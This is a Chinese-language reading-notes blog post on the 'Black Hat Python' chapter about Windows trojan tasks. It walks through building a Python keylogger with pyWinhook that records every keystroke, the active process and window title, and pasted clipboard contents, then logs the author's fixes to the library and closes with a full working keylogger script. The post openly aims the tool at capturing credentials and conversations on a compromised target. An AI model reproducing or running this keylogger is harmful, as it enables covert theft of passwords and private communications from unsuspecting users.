黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器
文章目录
- 写在前面
- 构建keylogger.py脚本
- 构建击键记录器
- 小试牛刀
- 安装pyWinhook
- 处理cpyHook与_cpyHook
- 缺少new模块
- 运行结果展示
- 可执行代码
写在前面
键盘记录(Keylogging),即使用隐蔽的程序记录连续的击键,这是本书中最古老的黑客技术之一,至今仍在不同程度的使用。攻击者仍在使用它的原因,是它在捕获诸如凭据或对话等敏感信息方面非常有效。
一款名为PyWinHook的优秀Python库可以使使我们能够轻松捕获所有键盘事件。它利用了本机的Windows函数SetWindowsHookEx,该函数允许我们安装用户自定义的函数,而这些自定义函数可以被某些Windows事件调用。通过为键盘事件注册一个钩子,我们将可以捕获目标发出的所有按键。更近一步地,我们还想确切地知道用户正在对哪个进程执行这些击键操作,以便我们可以确定何时输入用户名、密码或其他有用信息。PyWinHook将会为我们负责所有的低级编程,我们只需要实现击键记录器的核心逻辑即可。
构建keylogger.py脚本
创建并打开keylogger.py文件,并加入下面的代码:
from ctypes import byref, create_string_buffer, c_ulong, windll
from http.server import executable
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 60*10
class Keylogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
windll.psapi.GitModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: windows name unkown')
print('\n', process_id, executable.value.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
我们首先定义了一个常量TIMEOUT,创建一个新的KeyLogger类,并编写get_current_process方法,该方法将捕获活动窗口及其关联的进程ID。在该方法中,先调用GetForeGroundWindow方法获取目标桌面上活动窗口的句柄,然后将该句柄传递给GetWindowThreadProcessId函数,以检索窗口的进程ID。接下来我们打开进程,并通过进程句柄找到进程的实际可执行文件名。最后使用GetWindowTextA函数获取窗口标题栏的全文。在这个get_current_process方法的末尾,我们将所有信息进行漂亮的输出,以便可以清楚地看到哪些击键与哪个进程和窗口是相关联的。
构建击键记录器
现在,我们把击键记录器的代码块放在适当的位置:
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.Key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = Keylogger()
hm = pyHook.HookManagere()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(run())
print('done.')
我们从run函数开始解说,在第7章中我们已经创建了受损目标可以运行的模块。每个模块都有一个名为run的入口点函数,因此我们编写的这个键盘记录器也遵循了相同的模式,因此我们可以以相同的方式运行它。第7章中的run函数不接受参数并返回其输出,为了匹配这里的行为,我们暂时将stdout切换到一个类似文件的对象StringIO。这样写入stdout的所有内容都将转到该对象中,稍后我们将说明该对象。
在切换stdout之后,我们创建KeyLogger对象并定义HookManager。接下来,我们将KeyDown事件绑定到KeyLogger对象的回调方法mykeystroke。然后,我们指示PyWinHook挂接所有按键并继续执行,直到超时。每当目标按下键盘上的键时,就会调用mykeystroke方法,并将事件对象作为其参数。我们在mykeystroke中做的第一件事是检查用户是否更改了窗口,如果更改了,我们将获取新窗口的名称和进程信息。然后我们查看发出的击键,如果它在ASCII可打印范围内,我们只需将其打印出来。如果它是修饰符(例如SHIFT、CTRL或ALT键)或任何其他非标准键,我们将从事件对象中获取键名称。另外我们还检查用户是否正在执行粘贴操作,如果是,我们将转储剪贴板的内容。回调函数最后返回True,以允许下一个钩子处理事件。接下来我们运行一下。
小试牛刀
测试我们的键盘记录器很容易。只需运行它,然后开始正常使用Windows。尝试使用web浏览器、计算器或任何其他应用程序,然后在终端中查看结果即可。
但是我在运行过程中碰到了一系列的问题,现在逐一解说。
安装pyWinhook
首先在运行之前需要安装pyWinhook模块,但是安装失败了,如下图。
上网搜了一下,需要先配置安装swig,直接去官网下载解压后配置path环境变量,接着又碰到另一个错误,缺少C++构建工具,如下图。
直接拷贝上图中的url下载安装,然后再次运行pip install pyWinhook顺利安装成功。
处理cpyHook与_cpyHook
接下来运行上面编写的keylogger.py时候碰到了新的错误,缺少cpyHook模块。
手动从git上下载cpyHook.py放进去,再次运行,又碰到新的错误,缺少_cpyHook模块,想死的心都有了。
发现在“C:\Users<username>\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\pyWinhook”目录下有一个名为“_cpyHook.cp310-win_amd64.pyd”的文件,貌似是缺少文件的某个版本,有总比木有强,直接重命名成需要的名称_cpyHook.pyd,然后将该文件和cpyHook.py文件一起复制到上一层的site-packages目录下,再次运行,问题解决。
缺少new模块
再次运行,又出现了新的错误,缺少new模块,简直无穷无尽啊。
经过网络查询,发现这是wxPython下的一个模块,直接先pip install wxPython再说。
再次执行keylogger程序,仍然报找不到名称为new的模块,上网查了一下,貌似python2.x下的模块,3.x上不支持了。实在没办法了,想放弃了,仔细读一下cpyHook.py的代码看看能不能常识重写一下吧。一读不要紧,太垃圾了,通过new.instancemethod生成的变量在后面整个程序中就木有引用过,直接注释掉这两行,如下图。
运行结果展示
再次执行keylogger程序,没报错,但是貌似挂起了,没有其它反映。
不管怎么折腾都是上图所示,没有一点动静。其实原书中的run函数的代码以及main函数的代码写的很不怎么样,尝试修改了一下,然后再次运行,虽然比较丑,但是至少有一些反映了,把我的clipboard中的内容打印出来了(日志中的NOTEPAD就是我打开进行的操作),如下图。
继续修改,然后运行,如下图,现在至少能够记录键盘输入的内容了,但是还非常粗糙,后续有时间再打磨一下。
可执行代码
最后附上修改后的代码(原书中的代码是一定运行不起来的)。
from ctypes import byref, create_string_buffer, c_ulong, windll
from http.server import executable
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
# TIMEOUT = 60*10
TIMEOUT = 20*1
class Keylogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'
print(f'pid is : {process_id}')
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode('utf8', 'ignore')
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')
print('\n', process_id, executable.value.decode('utf-8'), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.Key}')
return True
def run():
# save_stdout = sys.stdout
# sys.stdout = StringIO()
kl = Keylogger()
hm = pyHook.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
# log = sys.stdout.getvalue()
# sys.stdout = save_stdout
# print(log)
return
if __name__ == '__main__':
# print(run())
run()
print('done.')